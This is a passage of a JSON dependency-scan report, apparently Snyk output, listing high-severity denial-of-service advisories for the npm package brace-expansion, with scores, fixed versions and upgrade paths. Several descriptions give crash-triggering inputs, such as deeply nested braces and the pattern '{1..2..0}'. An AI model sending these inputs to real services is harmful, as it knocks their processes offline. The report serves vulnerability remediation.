"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## 